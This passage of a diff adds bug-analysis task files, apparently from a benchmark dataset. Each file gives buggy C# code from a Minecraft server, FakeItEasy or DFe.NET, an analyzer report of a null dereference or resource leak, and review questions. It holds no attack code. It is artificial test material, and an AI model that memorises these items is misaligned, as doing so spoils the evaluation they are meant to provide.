+                                                     WeightedValue.Create(8, MobType.Cow),
+                                                     WeightedValue.Create(10, MobType.Wolf), // TODO: wolves are only supposed to spawn in certain Bimoes (see #128)
+                                                     WeightedValue.Create(10, MobType.Hen), // TODO: hens are only supposed to spawn in certain Biomes (see #128)
+                                                     WeightedValue.Create(10, MobType.Pig),
+                                                 };
+
+        private const int MaxCreatures = 15;
+
+        private static readonly List<WeightedValue<MobType>> WaterCreatures = new List<WeightedValue<MobType>>
+                                                      {
+                                                          WeightedValue.Create(10, MobType.Squid),
+                                                      };
+
+        private const int MaxWaterCreatures = 5;
+
+
+        static UniversalCoords GetRandomPointInChunk(WorldManager world, int chunkX, int chunkZ)
+        {
+            return UniversalCoords.FromBlock(chunkX, chunkZ, world.Server.Rand.Next(16), world.Server.Rand.Next(128),
+                                             world.Server.Rand.Next(16));
+        }
+        
+        public static void SpawnMobs(WorldManager world, bool spawnHostileMobs, bool spawnPeacefulMobs)
+        {
+            var players = world.Server.GetAuthenticatedClients().Where(c => c.Owner.World == world).Select(c => c.Owner).ToArray();
+            HashSet<int> chunksToSpawnIn = new HashSet<int>();
+
+            #region Get a list of all chunks within 8 chunks of any players
+            foreach (var player in players)
+            {
+                UniversalCoords coord = UniversalCoords.FromAbsWorld(player.Position);
+
+                for (int x = -MaxSpawnDistance; x <= MaxSpawnDistance; x++)
+                {
+                    for (int z = -MaxSpawnDistance; z <= MaxSpawnDistance; z++)
+                    {
+                        chunksToSpawnIn.Add(UniversalCoords.FromChunkToPackedChunk(coord.ChunkX + x, coord.ChunkZ + z));
+                    }
+                }
+            }
+            #endregion
+
+            // Get a list of Mob entities outside of the loop so we only get it once
+            Mob[] mobEntities = world.GetEntities().Where(e => e is Mob).Select((e) => e as Mob).ToArray();
+
+            // TODO: need to use Biome to get the list of mob types available for each category
+            // TODO: make the maximum count of mobs per category configurable
+            if (spawnHostileMobs)
+            {
+                DoSpawn(world, chunksToSpawnIn, mobEntities, Monsters, MaxMonsters);
+            }
+            if (spawnPeacefulMobs)
+            {
+                DoSpawn(world, chunksToSpawnIn, mobEntities, Creatures, MaxCreatures);
+                DoSpawn(world, chunksToSpawnIn, mobEntities, WaterCreatures, MaxWaterCreatures, true);
+            }
+        }
+
+        private static void DoSpawn(WorldManager world, HashSet<int> chunksToSpawnIn, Mob[] mobEntities, List<WeightedValue<MobType>> mobGroup, int maximumMobs, bool inWater = false)
+        {
+            // Check that we haven't already reached the maximum number of this type of mob
+            if (mobGroup.Count > 0 && (mobEntities.Where(e => mobGroup.Where(mob => mob.Value == e.Type).Any()).Count() <= maximumMobs * chunksToSpawnIn.Count / 256))
+            {
+                foreach (var packedChunk in chunksToSpawnIn)
+                {
+                    MobType mobType = mobGroup.SelectRandom(world.Server.Rand);
+                    UniversalCoords packSpawnPosition = GetRandomPointInChunk(world, UniversalCoords.FromPackedChunkToX(packedChunk), UniversalCoords.FromPackedChunkToZ(packedChunk));
+
+                    BlockBase blockClass = BlockHelper.Instance(world.GetBlockId(packSpawnPosition));
+
+                    if (!blockClass.IsOpaque && ((!inWater && blockClass.Type == BlockData.Blocks.Air) || (inWater && blockClass.IsLiquid))) // Lava is Opaque, so IsLiquid is safe to use here for water & still water
+                    {
+                        int spawnedCount = 0;
+                        // Make 3 separate attempts to spawn around the spawnPosition at 4 varying distances
+                        for (int i = 0; i < 3; i++)
+                        {
+                            int x = packSpawnPosition.WorldX;
+                            int y = packSpawnPosition.WorldY;
+                            int z = packSpawnPosition.WorldZ;
+
+                            const int distance = 6;
+
+                            // Make four attempts to spawn at increasing distances from spawnPosition
+                            for (int j = 0; j < 4; j++)
+                            {
+                                x += world.Server.Rand.Next(distance) - world.Server.Rand.Next(distance);
+                                y += world.Server.Rand.Next(1) - world.Server.Rand.Next(1);
+                                z += world.Server.Rand.Next(distance) - world.Server.Rand.Next(distance);
+
+                                if (CanMobTypeSpawnAtLocation(mobType, world, x, y, z))
+                                {
+                                    AbsWorldCoords spawnPosition = new AbsWorldCoords((double)x + 0.5, y, (double)z + 0.5);
+
+                                    // Check that no player is within a radius of 24 blocks of the spawnPosition
+                                    if (world.GetClosestPlayer(spawnPosition, 24.0) == null)
+                                    {
+                                        // Check that the squared distance is more than 576 from spawn (24 blocks)
+                                        if (spawnPosition.ToVector().DistanceSquared(new AbsWorldCoords(world.Spawn).ToVector()) > 576.0)
+                                        {
+                                            Mob newMob = MobFactory.CreateMob(world, world.Server.AllocateEntity(),
+                                                                              mobType);
+
+                                            if (newMob == null)
+                                                break;
+
+                                            newMob.Position = spawnPosition;
+                                            newMob.Yaw = world.Server.Rand.NextDouble()*360.0;
+                                            // Finally apply any mob specific rules about spawning here
+                                            if (newMob.CanSpawnHere())
+                                            {
+                                                ++spawnedCount;
+                                                world.Server.AddEntity(newMob);
+                                                MobSpecificInitialisation(newMob, world, spawnPosition);
+                                                world.Server.SendEntityToNearbyPlayers(world, newMob);
+
+                                                if (spawnedCount >= newMob.MaxSpawnedPerGroup)
+                                                {
+                                                    // Don't pull that face at me - there are legitimate reasons to use a goto, like break out of two for loops and continue the foreach iteration
+                                                    // Ok ok, we could do a break, and duplicate the above if statement and then break in the next for and that would do the same, 
+                                                    // but seriously "goto nextChunk" does make more sense, that's exactly what we are doing!
+                                                    goto nextChunk;
+                                                }
+                                            }
+                                        }
+                                    }
+                                }
+                            }
+                        }
+                    }
+                nextChunk:;
+                }
+            }
+        }
+
+        private static bool CanMobTypeSpawnAtLocation(MobType mobType, WorldManager world, int worldX, int worldY, int worldZ)
+        {
+            BlockBase blockClass = BlockHelper.Instance(world.GetBlockId(worldX, worldY, worldZ));
+            if (mobType == MobType.Squid)
+            {
+                return (blockClass.IsLiquid && !blockClass.IsOpaque) // Is Water
+                    && !BlockHelper.Instance((world.GetBlockId(worldX, worldY + 1, worldZ))).IsOpaque; // Has either water or air above it
+            }
+            else
+            {
+                return BlockHelper.Instance((world.GetBlockId(worldX, worldY - 1, worldZ))).IsOpaque && BlockHelper.Instance((world.GetBlockId(worldX, worldY - 1, worldZ))).IsSolid && // Is solid underneath
+                       !blockClass.IsOpaque && !blockClass.IsSolid && !blockClass.IsLiquid && // Is not solid or liquid where spawning 
+                       !BlockHelper.Instance((world.GetBlockId(worldX, worldY + 1, worldZ))).IsOpaque && !BlockHelper.Instance((world.GetBlockId(worldX, worldY + 1, worldZ))).IsSolid; // Is not solid 1 block above
+            }
+        }
+
+        private static void MobSpecificInitialisation(Mob mob, WorldManager world, AbsWorldCoords coords)
+        {
+            // 1 in 100 chance to spawn a skeleton riding a spider
+            if (mob.Type == MobType.Spider && world.Server.Rand.Next(100) == 0)
+            {
+                LivingEntity skeleton = MobFactory.CreateMob(world, world.Server.AllocateEntity(), MobType.Skeleton);
+                skeleton.Position = coords;
+                skeleton.Yaw = mob.Yaw;
+                world.Server.AddEntity(skeleton);
+                skeleton.MountEntity(mob);
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `skeleton` last assigned on line 184 could be null and is dereferenced at line 185, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void WorldMobSpawner.MobSpecificInitialisation(Mob,WorldManager,AbsWorldCoords)
+
+### File:
+Chraft/World/WorldMobSpawner.cs
+
+### Key:
+WorldMobSpawner.cs|MobSpecificInitialisation|NULL_DEREFERENCE
+
+### Node Key:
+5f12004af86bc692e0983547f0c7b710
+
+### Hash:
+2f656e9e726f2ae5e670bf689e115fe6
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2695/instruction.md b/inferredbugs-2695/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1c3a012033597813010cc553c83f845af8a5eba3
--- /dev/null
+++ b/inferredbugs-2695/instruction.md
@@ -0,0 +1,612 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** c-raft
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections;
+using System.Collections.Concurrent;
+using System.Linq;
+using System.Net.Sockets;
+using Chraft.Entity;
+using Chraft.Net.Packets;
+using Chraft.World;
+using Chraft.Properties;
+using System.Threading;
+using Chraft.World.Blocks;
+using Chraft.World.Weather;
+using System.Threading.Tasks;
+using System.Collections.Generic;
+
+namespace Chraft.Net
+{
+    public partial class Client 
+    {
+        public ConcurrentQueue<Packet> PacketsToBeSent = new ConcurrentQueue<Packet>();
+
+        private int _TimesEnqueuedForSend;
+        public void SendPacket(Packet packet)
+        {
+            if (!Running)
+                return;
+
+            if (packet.Logger == null)
+                packet.Logger = Server.Logger;
+
+            PacketsToBeSent.Enqueue(packet);
+
+            int newValue = Interlocked.Increment(ref _TimesEnqueuedForSend);
+
+            if ((newValue - 1) == 0)
+                Server.SendClientQueue.Enqueue(this);
+
+            //Logger.Log(Chraft.Logger.LogLevel.Info, "Sending packet: {0}", packet.GetPacketType().ToString());
+
+            Server.NetworkSignal.Set();
+        }
+
+        private void Send_Async(byte[] data)
+        {
+            if (!Running || !_socket.Connected)
+            {
+                DisposeSendSystem();
+                return;
+            }
+
+            if (data[0] == (byte)PacketType.Disconnect)
+                _sendSocketEvent.Completed += Disconnected;
+
+            _sendSocketEvent.SetBuffer(data, 0, data.Length);
+
+            bool pending = _socket.SendAsync(_sendSocketEvent);
+
+            if (DateTime.Now + TimeSpan.FromSeconds(2.5) > _nextActivityCheck)
+            _nextActivityCheck = DateTime.Now + TimeSpan.FromSeconds(2.5);
+
+            if (!pending)
+                Send_Completed(null, _sendSocketEvent);
+        }
+
+        private void Send_Sync(byte[] data)
+        {
+            if (!Running || !_socket.Connected)
+            {
+                DisposeSendSystem();
+                return;
+            }
+            try
+            {
+                _socket.Send(data, data.Length, 0);
+
+                if (DateTime.Now + TimeSpan.FromSeconds(5) > _nextActivityCheck)
+                    _nextActivityCheck = DateTime.Now + TimeSpan.FromSeconds(5);
+            }
+            catch (Exception)
+            {
+                Stop();
+
+            }
+            
+        }
+
+        public void Send_Sync_Packet(Packet packet)
+        {
+            packet.Write();
+            Send_Sync(packet.GetBuffer());
+            packet.Release();
+        }
+
+        internal void Send_Start()
+        {
+            if (!Running || !_socket.Connected)
+            {
+                DisposeSendSystem();
+                return;
+            }
+
+            Packet packet = null;
+            try
+            {
+                byte[] data;
+
+                
+                if (!PacketsToBeSent.IsEmpty)
+                {
+                    if (!PacketsToBeSent.TryDequeue(out packet))
+                    {
+                        Interlocked.Exchange(ref _TimesEnqueuedForSend, 0);
+                        return;
+                    }
+
+                    if (!packet.Shared)
+                        packet.Write();
+                                                   
+                    data = packet.GetBuffer();
+                                               
+                    Send_Async(data);
+                    packet.Release();
+                }
+                else
+                {
+                    Interlocked.Exchange(ref _TimesEnqueuedForSend, 0);
+
+                    if (!PacketsToBeSent.IsEmpty)
+                    {
+                        int newValue = Interlocked.Increment(ref _TimesEnqueuedForSend);
+
+                        if (newValue == 1)
+                        {
+                            Server.SendClientQueue.Enqueue(this);
+                            Server.NetworkSignal.Set();
+                        }
+                    }
+                }
+            }
+            catch (Exception e)
+            {
+                MarkToDispose();
+                DisposeSendSystem();
+                if(packet != null)
+                    Logger.Log(Logger.LogLevel.Error, "Sending packet: {0}", packet.ToString());
+                Logger.Log(Logger.LogLevel.Error, e.ToString());
+
+                // TODO: log something?
+            }
+            
+        }
+
+        private void Send_Completed(object sender, SocketAsyncEventArgs e)
+        {
+            if (e.Buffer[0] == (byte)PacketType.Disconnect)
+                e.Completed -= Disconnected;
+            if (!Running)
+                DisposeSendSystem();
+            else if(e.SocketError != SocketError.Success)
+            {
+                MarkToDispose();
+                DisposeSendSystem();
+                _nextActivityCheck = DateTime.MinValue;
+            }
+            else
+            {
+                if (DateTime.Now + TimeSpan.FromSeconds(5) > _nextActivityCheck)
+                    _nextActivityCheck = DateTime.Now + TimeSpan.FromSeconds(5);
+                Send_Start();
+            }
+        }
+
+        internal void SendPulse()
+        {
+            if(Authenticated && _player.LoggedIn)
+            {
+                SendPacket(new TimeUpdatePacket
+                {
+                    Time = _player.World.Time
+                });
+                //_player.SynchronizeEntities();
+            }
+        }
+
+        internal void SendBlock(int x, int y, int z, byte type, byte data)
+        {
+            if (_player.LoggedIn)
+            {
+                SendPacket(new BlockChangePacket
+                {
+                    Data = data,
+                    Type = type,
+                    X = x,
+                    Y = (sbyte)y,
+                    Z = z
+                });
+            }
+        }
+
+        /// <summary>
+        /// Updates a region of blocks
+        /// </summary>
+        /// <param name="x">Start coordinate, X component</param>
+        /// <param name="y">Start coordinate, Y component</param>
+        /// <param name="z">Start coordinate, Z component</param>
+        /// <param name="l">Length (X magnitude)</param>
+        /// <param name="w">Height (Y magnitude)</param>
+        /// <param name="h">Width (Z magnitude)</param>
+        public void SendBlockRegion(int x, int y, int z, int l, int h, int w)
+        {
+            for (int dx = 0; dx < l; dx++)
+            {
+                for (int dy = 0; dy < h; dy++)
+                {
+                    for (int dz = 0; dz < w; dz++)
+                    {
+                        byte? type = _player.World.GetBlockOrNull(x + dx, y + dy, z + dz);
+                        if (type != null)
+                            SendBlock(x + dx, y + dy, z + dz, type.Value, _player.World.GetBlockData(x + dx, y + dy, z + dz));
+                    }
+                }
+            }
+        }
+
+        private void SendMotd()
+        {
+            string MOTD = Settings.Default.MOTD.Replace("%u", _player.DisplayName);
+            SendMessage(MOTD);
+        }
+
+
+        #region Login
+
+        public void SendLoginRequest()
+        {
+            Send_Sync_Packet(new LoginRequestPacket
+            {
+                ProtocolOrEntityId = _player.EntityId,
+                Dimension = _player.World.Dimension,
+                Username = "",
+                MapSeed = _player.World.Seed,
+                WorldHeight = 128,
+                MaxPlayers = 50,
+                Unknown = 2
+            });
+        }
+
+        public void SendInitialTime(bool async = true)
+        {
+            Packet packet = new TimeUpdatePacket
+            {
+                Time = _player.World.Time
+            };
+
+            if (async)
+                SendPacket(packet);
+            else
+                Send_Sync_Packet(packet);
+        }
+
+        public void SendInitialPosition(bool async = true)
+        {
+            if(async)
+                SendPacket(new PlayerPositionRotationPacket
+                {
+                    X = _player.Position.X,
+                    Y = _player.Position.Y + this._player.EyeHeight,
+                    Z = _player.Position.Z,
+                    Yaw = (float)_player.Yaw,
+                    Pitch = (float)_player.Pitch,
+                    Stance = Stance,
+                    OnGround = false
+                });
+            else
+                Send_Sync_Packet(new PlayerPositionRotationPacket
+                {
+                    X = _player.Position.X,
+                    Y = _player.Position.Y + this._player.EyeHeight,
+                    Z = _player.Position.Z,
+                    Yaw = (float)_player.Yaw,
+                    Pitch = (float)_player.Pitch,
+                    Stance = Stance,
+                    OnGround = false
+                });
+        }
+
+        public void SendSpawnPosition(bool async = true)
+        {
+            Packet packet = new SpawnPositionPacket
+            {
+                X = _player.World.Spawn.WorldX,
+                Y = _player.World.Spawn.WorldY,
+                Z = _player.World.Spawn.WorldZ
+            };
+
+            if (async)
+                SendPacket(packet);
+            else
+                Send_Sync_Packet(packet);
+        }
+
+        public void SendHandshake()
+        {
+            SendPacket(new HandshakePacket
+            {
+
+                UsernameOrHash = (Server.UseOfficalAuthentication ? Server.ServerHash : "-")
+                //UsernameOrHash = "-" // No authentication
+                //UsernameOrHash = this.Server.ServerHash // Official Minecraft server authentication
+            });
+        }
+
+        public void SendLoginSequence()
+        {
+            _player = new Player(Server, Server.AllocateEntity(), this);
+            Server.AddEntity(_player);
+            Server.AddAuthenticatedClient(this);
+            Authenticated = true;
+            _player.Permissions = _player.PermHandler.LoadClientPermission(this);
+            Load();           
+            SendLoginRequest();
+            SendSpawnPosition(false);
+            SendInitialTime(false);
+            
+            List<Chunk> toUpdate = new List<Chunk>();
+            _player.SendInitialPreChunks(toUpdate, 2);
+            UniversalCoords spawn = UniversalCoords.FromAbsWorld(_player.Position);
+            Chunk chunk = _player.World.GetChunkFromChunk(spawn.ChunkX, spawn.ChunkZ, true, true);
+            SendChunk(chunk, true);
+            SendInitialPosition(false);
+            SendInitialTime(false);
+            _player.SendInitialMapChunks(toUpdate);
+            
+			SetGameMode();
+            _player.InitializeInventory();
+            _player.InitializeHealth();
+            _player.OnJoined();
+            SendMotd();
+
+            StartKeepAliveTimer();
+            _player.UpdateEntities();
+            Server.SendEntityToNearbyPlayers(_player.World, _player);
+        }
+
+        #endregion
+
+        #region Chunks
+
+        internal void SendPreChunk(int x, int z, bool load, bool sync)
+        {
+            PreChunkPacket prepacket = new PreChunkPacket
+            {
+                Load = load,
+                X = x,
+                Z = z,
+            };
+
+            if (!sync)
+                SendPacket(prepacket);
+            else
+                Send_Sync_Packet(prepacket);
+        }
+
+        internal void SendChunk(Chunk chunk, bool sync)
+        {
+            MapChunkPacket packet = new MapChunkPacket
+            {
+                Chunk = chunk,
+
+            };
+
+            if (!sync)
+                SendPacket(packet);
+            else
+                Send_Sync_Packet(packet);
+        }
+
+        internal void SendSignTexts(Chunk chunk)
+        {
+            foreach (var signKVP in chunk.SignsText)
+            {
+                int blockX = signKVP.Key >> 11;
+                int blockY = (signKVP.Key & 0xFF) % 128;
+                int blockZ = (signKVP.Key >> 7) & 0xF;
+
+                UniversalCoords coords = UniversalCoords.FromBlock(chunk.Coords.ChunkX, chunk.Coords.ChunkZ, blockX, blockY, blockZ);
+
+                string[] lines = new string[4];
+
+                int length = signKVP.Value.Length;
+
+                for (int i = 0; i < 4; ++i, length -= 15)
+                {
+                    int currentLength = length;
+                    if (currentLength > 15)
+                        currentLength = 15;
+
+                    if (length > 0)
+                        lines[i] = signKVP.Value.Substring(i * 15, currentLength);
+                    else
+                        lines[i] = "";
+                }
+
+                SendPacket(new UpdateSignPacket { X = coords.WorldX, Y = coords.WorldY, Z = coords.WorldZ, Lines = lines });
+            }
+        }
+
+        #endregion
+
+
+        #region Entities
+
+        public void SendCreateEntity(EntityBase entity)
+        {
+            Packet packet;
+            if ((packet = Server.GetSpawnPacket(Server, entity)) != null)
+            {
+                if (packet is NamedEntitySpawnPacket)
+                {
+                    SendPacket(packet);
+                    for (short i = 0; i < 5; i++)
+                    {
+                        SendPacket(new EntityEquipmentPacket
+                        {
+                            EntityId = entity.EntityId,
+                            Slot = i,
+                            ItemId = -1,
+                            Durability = 0
+                        });
+                    }
+                }
+            }
+            else if (entity is TileEntity)
+            {
+
+            }
+            else
+            {
+                SendEntity(entity);
+                SendTeleportTo(entity);
+            }               
+        }
+
+        internal void SendEntity(EntityBase entity)
+        {
+            SendPacket(new CreateEntityPacket
+            {
+                EntityId = entity.EntityId
+            });
+        }
+
+        public void SendDestroyEntity(EntityBase entity)
+        {
+            SendPacket(new DestroyEntityPacket
+            {
+                EntityId = entity.EntityId
+            });
+        }
+
+        internal void SendTeleportTo(EntityBase entity)
+        {
+            SendPacket(new EntityTeleportPacket
+            {
+                EntityId = entity.EntityId,
+                X = entity.Position.X,
+                Y = entity.Position.Y,
+                Z = entity.Position.Z,
+                Yaw = entity.PackedYaw,
+                Pitch = entity.PackedPitch
+            });
+
+            //SendMoveBy(entity, (sbyte)((_Player.Position.X - (int)entity.Position.X) * 32), (sbyte)((_Player.Position.Y - (int)entity.Position.Y) * 32), (sbyte)((_Player.Position.Z - (int)entity.Position.Z) * 32));
+        }
+
+        internal void SendRotateBy(EntityBase entity, sbyte dyaw, sbyte dpitch)
+        {
+            SendPacket(new EntityLookPacket
+            {
+                EntityId = entity.EntityId,
+                Yaw = dyaw,
+                Pitch = dpitch
+            });
+        }
+
+        internal void SendMoveBy(EntityBase entity, sbyte dx, sbyte dy, sbyte dz)
+        {
+            SendPacket(new EntityRelativeMovePacket
+            {
+                EntityId = entity.EntityId,
+                DeltaX = dx,
+                DeltaY = dy,
+                DeltaZ = dz
+            });
+        }
+
+        internal void SendMoveRotateBy(EntityBase entity, sbyte dx, sbyte dy, sbyte dz, sbyte dyaw, sbyte dpitch)
+        {
+            SendPacket(new EntityLookAndRelativeMovePacket
+            {
+                EntityId = entity.EntityId,
+                DeltaX = dx,
+                DeltaY = dy,
+                DeltaZ = dz,
+                Yaw = dyaw,
+                Pitch = dpitch
+            });
+        }
+
+        internal void SendAttachEntity(EntityBase entity, EntityBase attachTo)
+        {
+            SendPacket(new AttachEntityPacket
+            {
+                EntityId = entity.EntityId,
+                VehicleId = attachTo.EntityId
+            });
+        }
+
+        #endregion
+
+
+        #region Clients
+
+        public void SendHoldingEquipment(Client c) // Updates entity holding via 0x05
+        {
+            SendPacket(new EntityEquipmentPacket
+            {
+                EntityId = c.Owner.EntityId,
+                Slot = 0,
+                ItemId = c.Owner.Inventory.ActiveItem.Type,
+                Durability = c.Owner.Inventory.ActiveItem.Durability
+            });
+        }
+
+        public void SendEntityEquipment(Client c, short slot) // Updates entity equipment via 0x05
+        {
+            SendPacket(new EntityEquipmentPacket
+            {
+                EntityId = c.Owner.EntityId,
+                Slot = slot,
+                ItemId = c.Owner.Inventory.Slots[slot].Type,
+                Durability = 0
+            });
+        }
+
+        #endregion
+
+        public void SendWeather(WeatherState weather, UniversalCoords coords)
+        {
+
+            //throw new NotImplementedException();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource chunk.Chraft.World.ChunkBase.BlocksUpdateLock of type System.Threading.ReaderWriterLockSlim in method "Void Client.SendLoginSequence()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Client.SendLoginSequence()
+
+### File:
+Chraft/Net/Client.Send.cs
+
+### Key:
+Client.Send.cs|SendLoginSequence|DOTNET_RESOURCE_LEAK
+
+### Hash:
+84bc294131feda4ccab3acd84d03b415
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2712/instruction.md b/inferredbugs-2712/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7fec5736a1a8b0b73df9c1c73ae4f4b8460f979e
--- /dev/null
+++ b/inferredbugs-2712/instruction.md
@@ -0,0 +1,96 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FakeItEasy
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace FakeItEasy
+{
+    using System.Collections.Generic;
+    using System.ComponentModel.Composition;
+    using System.ComponentModel.Composition.Hosting;
+    using System.IO;
+    using IoC;
+
+    internal class ImportsModule
+        : Module
+    {
+        [ImportMany(typeof(IArgumentValueFormatter))]
+        private IEnumerable<IArgumentValueFormatter> importedArgumentValueFormatters;
+        [ImportMany(typeof(IDummyDefinition))]
+        private IEnumerable<IDummyDefinition> importedDummyDefinitions;
+        [ImportMany(typeof(IFakeConfigurator))]
+        private IEnumerable<IFakeConfigurator> importedFakeConfigurators;
+
+        public ImportsModule()
+        {
+            this.SatisfyImports();
+        }
+
+        private void SatisfyImports()
+        {
+            var catalog = new DirectoryCatalog(Path.GetDirectoryName(typeof (ImportsModule).Assembly.Location));
+            var container = new CompositionContainer(catalog);
+            container.SatisfyImportsOnce(this);
+        }
+
+        public override void RegisterDependencies(DictionaryContainer container)
+        {
+            container.RegisterSingleton(c => this.importedArgumentValueFormatters);
+            container.RegisterSingleton(c => this.importedDummyDefinitions);
+            container.RegisterSingleton(c => this.importedFakeConfigurators);
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource container of type System.ComponentModel.Composition.Hosting.CompositionContainer, Leaked resource catalog of type System.ComponentModel.Composition.Hosting.DirectoryCatalog in method "Void ImportsModule.SatisfyImports()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ImportsModule.SatisfyImports()
+
+### File:
+Source/FakeItEasy/ImportsModule.cs
+
+### Key:
+ImportsModule.cs|SatisfyImports|DOTNET_RESOURCE_LEAK
+
+### Hash:
+cbcb882846e3d5531d4b0954de239741
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2724/instruction.md b/inferredbugs-2724/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dcea7329b5cb0b77c1156015f8b3e637c9f80965
--- /dev/null
+++ b/inferredbugs-2724/instruction.md
@@ -0,0 +1,109 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** DFe.NET
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/********************************************************************************/
+/* Projeto: Biblioteca ZeusMDFe                                                 */
+/* Biblioteca C# para emissão de Manifesto Eletrônico Fiscal de Documentos      */
+/* (https://mdfe-portal.sefaz.rs.gov.br/                                        */
+/*                                                                              */
+/* Direitos Autorais Reservados (c) 2014 Adenilton Batista da Silva             */
+/*                                       Zeusdev Tecnologia LTDA ME             */
+/*                                                                              */
+/*  Você pode obter a última versão desse arquivo no GitHub                     */
+/* localizado em https://github.com/adeniltonbs/Zeus.Net.NFe.NFCe               */
+/*                                                                              */
+/*                                                                              */
+/*  Esta biblioteca é software livre; você pode redistribuí-la e/ou modificá-la */
+/* sob os termos da Licença Pública Geral Menor do GNU conforme publicada pela  */
+/* Free Software Foundation; tanto a versão 2.1 da Licença, ou (a seu critério) */
+/* qualquer versão posterior.                                                   */
+/*                                                                              */
+/*  Esta biblioteca é distribuída na expectativa de que seja útil, porém, SEM   */
+/* NENHUMA GARANTIA; nem mesmo a garantia implícita de COMERCIABILIDADE OU      */
+/* ADEQUAÇÃO A UMA FINALIDADE ESPECÍFICA. Consulte a Licença Pública Geral Menor*/
+/* do GNU para mais detalhes. (Arquivo LICENÇA.TXT ou LICENSE.TXT)              */
+/*                                                                              */
+/*  Você deve ter recebido uma cópia da Licença Pública Geral Menor do GNU junto*/
+/* com esta biblioteca; se não, escreva para a Free Software Foundation, Inc.,  */
+/* no endereço 59 Temple Street, Suite 330, Boston, MA 02111-1307 USA.          */
+/* Você também pode obter uma copia da licença em:                              */
+/* http://www.opensource.org/licenses/lgpl-license.php                          */
+/*                                                                              */
+/* Zeusdev Tecnologia LTDA ME - adenilton@zeusautomacao.com.br                  */
+/* http://www.zeusautomacao.com.br/                                             */
+/* Rua Comendador Francisco josé da Cunha, 111 - Itabaiana - SE - 49500-000     */
+/********************************************************************************/
+
+using ManifestoDocumentoFiscalEletronico.Classes.Retorno.MDFeEvento;
+using MDFe.Servicos.Factory;
+using MDFeEletronico = ManifestoDocumentoFiscalEletronico.Classes.Informacoes.MDFe;
+
+namespace MDFe.Servicos.EventosMDFe
+{
+    public class EventoInclusaoCondutor
+    {
+        public MDFeRetEventoMDFe MDFeEventoIncluirCondutor(MDFeEletronico mdfe, byte sequenciaEvento, string nome, string cpf)
+        {
+            var incluirCodutor = ClassesFactory.CriaEvIncCondutorMDFe(nome, cpf);
+
+            var retorno = new ServicoController().Executar(mdfe, sequenciaEvento, incluirCodutor);
+
+            return retorno;
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource ws of type System.Web.Services.Protocols.SoapHttpClientProtocol in method "MDFeRetEventoMDFe EventoInclusaoCondutor.MDFeEventoIncluirCondutor(MDFe,Byte,String,String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+MDFeRetEventoMDFe EventoInclusaoCondutor.MDFeEventoIncluirCondutor(MDFe,Byte,String,String)
+
+### File:
+MDFe.Servicos/EventosMDFe/EventoInclusaoCondutor.cs
+
+### Key:
+EventoInclusaoCondutor.cs|MDFeEventoIncluirCondutor|DOTNET_RESOURCE_LEAK
+
+### Hash:
+67840b1830d84186216de9cdf6d98cc1
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
